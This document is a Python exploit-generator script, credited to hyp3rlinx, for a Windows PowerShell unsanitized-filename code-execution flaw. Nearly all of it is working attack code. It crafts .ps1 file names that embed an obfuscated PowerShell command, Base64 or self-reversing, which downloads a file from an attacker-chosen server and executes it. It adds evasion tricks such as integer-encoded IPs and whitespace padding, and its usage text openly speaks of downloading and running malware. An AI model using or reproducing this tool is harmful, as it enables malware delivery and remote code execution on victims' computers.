Share
from base64 import b64encode  
from base64 import b64decode  
from socket import *  
import argparse,sys,socket,struct,re  
  
#GGPowerShell  
#Microsoft Windows PowerShell - Unsantized Filename RCE Dirty File Creat0r.  
#  
#Original advisory:  
#http://hyp3rlinx.altervista.org/advisories/MICROSOFT-WINDOWS-POWERSHELL-UNSANITIZED-FILENAME-COMMAND-EXECUTION.txt  
#  
#Original PoC:  
#https://www.youtube.com/watch?v=AH33RW9g8J4  
#  
#By John Page (aka hyp3rlinx)  
#Apparition Security  
#=========================  
#Features added to the original advisory script:  
#  
#Original script may have issues with -O for save files with certain PS versions, so now uses -OutFile.  
#  
#Added: server port option (Base64 mode only)  
#  
#Added: -z Reverse String Command as an alternative to default Base64 encoding obfuscation.  
#Example self reversing payload to save and execute a file "n.js" from 127.0.0.1 port 80 is only 66 bytes.  
#  
#$a='sj.n trats;sj.n eliFtuO- 1.0.0.721 rwi'[-1..-38]-join'';iex $a  
#  
#-z payload requires a forced malware download on server-side, defaults port 80 and expects an ip-address.  
#  
#Added: IP to Integer for extra evasion - e.g 127.0.0.1 = 2130706433  
#  
#Added: Prefix whitespace - attempt to hide the filename payload by push it to the end of the filename.  
#  
#Since we have space limit, malware names should try be 5 chars max e.g. 'a.exe' including the ext to make room for  
#IP/Host/Port and whitespace especially when Base64 encoding, for reverse command string option we have more room to play.  
#e.g. a.exe or n.js (1 char for the name plus 2 to 3 chars for ext plus the dot).  
#  
#All in the name of the dirty PS filename.  
#=========================================  
  
BANNER='''  
________________ _____ __ _____ __ __   
/ ____/ ____/ __ \____ _ _____ _____/ ___// /_ |__ // / / /   
/ / __/ / __/ /_/ / __ \ | /| / / _ \/ ___/\__ \/ __ \ /_ </ / / /   
/ /_/ / /_/ / ____/ /_/ / |/ |/ / __/ / ___/ / / / /__/ / /___/ /___  
\____/\____/_/ \____/|__/|__/\___/_/ /____/_/ /_/____/_____/_____/   
  
By hyp3rlinx  
ApparitionSec  
'''  
  
  
FILENAME_PREFIX="Hello-World"  
POWERSHELL_OBFUSCATED="poWeRshELl"  
DEFAULT_PORT="80"  
DEFAULT_BASE64_WSPACE_LEN=2  
MAX_CHARS = 254  
WARN_MSG="Options: register shorter domain name, try <ip-address> -i flag, force-download or omit whitespace."  
  
  
def parse_args():  
parser.add_argument("-s", "--server", help="Server to download malware from.")  
parser.add_argument("-p", "--port", help="Malware server port, defaults 80.")  
parser.add_argument("-m", "--locf", help="Name for the Malware upon download.")  
parser.add_argument("-r", "--remf", nargs="?", help="Malware to download from the remote server.")  
parser.add_argument("-f", "--force_download", nargs="?", const="1", help="No malware name specified, malwares force downloaded from the server web-root, malware type must be known up front.")  
parser.add_argument("-z", "--rev_str_cmd", nargs="?", const="1", help="Reverse string command obfuscation Base64 alternative, ip-address and port 80 only, Malware must be force downloaded on the server-side, see -e.")  
parser.add_argument("-w", "--wspace", help="Amount of whitespace to use for added obfuscation, Base64 is set for 2 bytes.")  
parser.add_argument("-i", "--ipevade", nargs="?", const="1", help="Use the integer value of the malware servers IP address for obfuscation/evasion.")  
parser.add_argument("-e", "--example", nargs="?", const="1", help="Show example use cases")  
return parser.parse_args()  
  
  
#self reverse PS commands  
def rev_str_command(args):  
malware=args.locf[::-1]  
revload=malware  
revload+=" trats;"  
revload+=malware  
revload+=" eliFtuO- "  
revload+=args.server[::-1]  
revload+=" rwi"  
  
payload = "$a='"  
payload+=malware  
payload+=" trats;"  
payload+=malware  
payload+=" eliFtuO- "  
payload+=args.server[::-1]  
payload+=" rwi'[-1..-"+str(len(revload))  
payload+="]-join '';iex $a"  
return payload  
  
  
def ip2int(addr):  
return struct.unpack("!I", inet_aton(addr))[0]  
  
  
def ip2hex(ip):  
x = ip.split('.')  
return '0x{:02X}{:02X}{:02X}{:02X}'.format(*map(int, x))  
  
  
def obfuscate_ip(target):  
IPHex = ip2hex(target)  
return str(ip2int(IPHex))  
  
  
def decodeB64(p):  
return b64decode(p)  
  
  
def validIP(host):  
try:  
socket.inet_aton(host)  
return True  
except socket.error:  
return False  
  
  
def filename_sz(space,cmds,mode):  
if mode==0:  
return len(FILENAME_PREFIX)+len(space)+ 1 +len(POWERSHELL_OBFUSCATED)+ 4 + len(cmds)+ len(";.ps1")  
else:  
return len(FILENAME_PREFIX) + len(space) + 1 + len(cmds) + len(";.ps1")  
  
  
def check_filename_size(sz):  
if sz > MAX_CHARS:  
print "Filename is", sz, "chars of max allowed", MAX_CHARS  
print WARN_MSG  
return False  
return True  
  
  
def create_file(payload, args):  
try:  
f=open(payload, "w")  
f.write("Write-Output 'Have a good night!'")  
f.close()  
except Exception as e:  
print "[!] File not created!"  
print WARN_MSG  
return False  
return True  
  
  
def cmd_info(t,p):  
print "PAYLOAD: "+p  
if t==0:  
print "TYPE: Base64 encoded payload."  
else:  
print "TYPE: Self Reversing String Command (must force-download the malware server side)."  
  
  
  
def main(args):  
  
global FILENAME_PREFIX  
  
if len(sys.argv)==1:  
parser.print_help(sys.stderr)  
sys.exit(1)  
  
if args.example:  
usage()  
exit()  
  
sz=0  
space=""  
b64payload=""  
reverse_string_cmd=""  
  
if not validIP(args.server):  
if not args.rev_str_cmd:  
if args.server.find("http://")==-1:  
args.server = "http://"+args.server  
  
if args.ipevade:  
args.server = args.server.replace("http://", "")  
if validIP(args.server):  
args.server = obfuscate_ip(args.server)  
else:  
print "[!] -i (IP evasion) requires a valid IP address, see Help -h."  
exit()  
  
if not args.locf:  
print "[!] Missing local malware save name -m flag see Help -h."  
exit()  
  
if not args.rev_str_cmd:  
  
if not args.remf and not args.force_download:  
print "[!] No remote malware specified, force downloading are we? use -f or -r flag, see Help -h."  
exit()  
  
if args.remf and args.force_download:  
print "[!] Multiple download options specified, use -r or -f exclusively, see Help -h."  
exit()  
  
if args.force_download:  
args.remf=""  
  
if args.remf:  
#remote file can be extension-less  
if not re.findall("^[~\w,a-zA-Z0-9]$", args.remf) and not re.findall("^[~\w,\s-]+\.[A-Za-z0-9]{2,3}$", args.remf):  
print "[!] Invalid remote malware name specified, see Help -h."  
exit()  
  
#local file extension is required  
if not re.findall("^[~\w,\s-]+\.[A-Za-z0-9]{2,3}$", args.locf):  
print "[!] Local malware name "+args.locf+" invalid, must contain no paths and have the correct extension."  
exit()  
  
if not args.port:  
args.port = DEFAULT_PORT  
  
if args.wspace:  
args.wspace = int(args.wspace)  
space="--IAA="*DEFAULT_BASE64_WSPACE_LEN  
if args.wspace != DEFAULT_BASE64_WSPACE_LEN:  
print "[!] Ignoring", args.wspace, "whitespace amount, Base64 default is two bytes"  
  
filename_cmd = "powershell iwr "  
filename_cmd+=args.server  
filename_cmd+=":"  
filename_cmd+=args.port  
filename_cmd+="/"  
filename_cmd+=args.remf  
filename_cmd+=" -OutFile "  
filename_cmd+=args.locf  
filename_cmd+=" ;sleep -s 2;start "  
filename_cmd+=args.locf  
  
b64payload = b64encode(filename_cmd.encode('UTF-16LE'))  
sz = filename_sz(space, b64payload, 0)  
  
FILENAME_PREFIX+=space  
FILENAME_PREFIX+=";"  
FILENAME_PREFIX+=POWERSHELL_OBFUSCATED  
FILENAME_PREFIX+=" -e "  
FILENAME_PREFIX+=b64payload  
FILENAME_PREFIX+=";.ps1"  
COMMANDS = FILENAME_PREFIX   
  
else:  
  
if args.server.find("http://")!=-1:  
args.server = args.server.replace("http://","")  
  
if args.force_download:  
print "[!] Ignored -f as forced download is already required with -z flag."  
  
if args.wspace:  
space=" "*int(args.wspace)  
  
if args.remf:  
print "[!] Using both -z and -r flags is disallowed, see Help -h."  
exit()  
  
if args.port:  
print "[!] -z flag must use port 80 as its default, see Help -h."  
exit()  
  
if not re.findall("^[~\w,\s-]+\.[A-Za-z0-9]{2,3}$", args.locf):  
print "[!] Local Malware name invalid -m flag."  
exit()  
  
reverse_string_cmd = rev_str_command(args)  
sz = filename_sz(space, reverse_string_cmd, 1)  
  
FILENAME_PREFIX+=space  
FILENAME_PREFIX+=";"  
FILENAME_PREFIX+=reverse_string_cmd  
FILENAME_PREFIX+=";.ps1"  
COMMANDS=FILENAME_PREFIX  
  
if check_filename_size(sz):  
if create_file(COMMANDS,args):  
if not args.rev_str_cmd:  
cmd_info(0,decodeB64(b64payload))  
else:  
cmd_info(1,reverse_string_cmd)  
return sz  
  
return False  
  
  
def usage():  
print "(-r) -s <domain-name.xxx> -p 5555 -m g.js -r n.js -i -w 2"  
print " Whitespace, IP evasion, download, save and exec malware via Base64 encoded payload.\n"  
print " Download an save malware simply named '2' via port 80, rename to f.exe and execute."  
print " -s <domain-name.xxx> -m a.exe -r 2\n"  
print "(-f) -s <domain-name.xxx> -f -m d.exe"  
print " Expects force download from the servers web-root, malware type must be known upfront.\n"  
print "(-z) -s 192.168.1.10 -z -m q.cpl -w 150"  
print " Reverse string PowerShell command alternative to Base64 obfuscation"  
print " uses self reversing string of PS commands, malware type must be known upfront."  
print " Defaults port 80, ip-address only and requires server-side forced download from web-root.\n"  
print "(-i) -s 192.168.1.10 -i -z -m ~.vbs -w 100"  
print " Reverse string command with (-i) IP as integer value for evasion.\n"   
print " Base64 is the default command obfuscation encoding, unless -z flags specified."  
  
if __name__=="__main__":  
  
print BANNER  
parser = argparse.ArgumentParser()  
sz = main(parse_args())  
  
if sz:  
print "DIRTY FILENAME SIZE: %s" % (sz) +"\n"  
print "PowerShell Unsantized Filename RCE file created."